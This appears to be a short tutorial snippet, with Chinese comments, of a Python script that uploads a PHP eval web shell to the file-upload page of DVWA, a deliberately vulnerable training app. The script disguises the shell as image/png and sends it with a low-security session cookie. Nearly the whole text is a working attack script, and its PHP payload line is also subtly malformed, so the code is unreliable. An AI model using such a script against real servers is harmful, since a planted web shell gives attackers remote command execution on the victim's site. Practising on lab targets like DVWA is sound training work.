Python脚本--文件上传

import requests
# 定义上传路径
url= "http://10.1.1.167/dvwa_2.0.1/vulnerabilities/upload/"
header={
	# 请求头中两个参数
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.88 Safari/537.36",
    "Cookie":"security=low; PHPSESSID=889lg6efj6rlqu5c6vh8h8d7m1"      
}
files={
	# "上传方式":("上传文件名","文件内容","文件类型")
    "uploaded":("1.php", b"<?php @eval($_REQUEST([777])) ?>", "image/png")
}
data={
	# POST请求的参数
    "MAX_FILE_SIZE":"100000",
    "Upload":"Upload"
}

res= requests.post(url= url, headers= header, files= files, data= data)
# 截取pre 标签中的内容
start= res.text.find("<pre>")+5
end= res.text.find("</pre>")

print(res.text[start:end])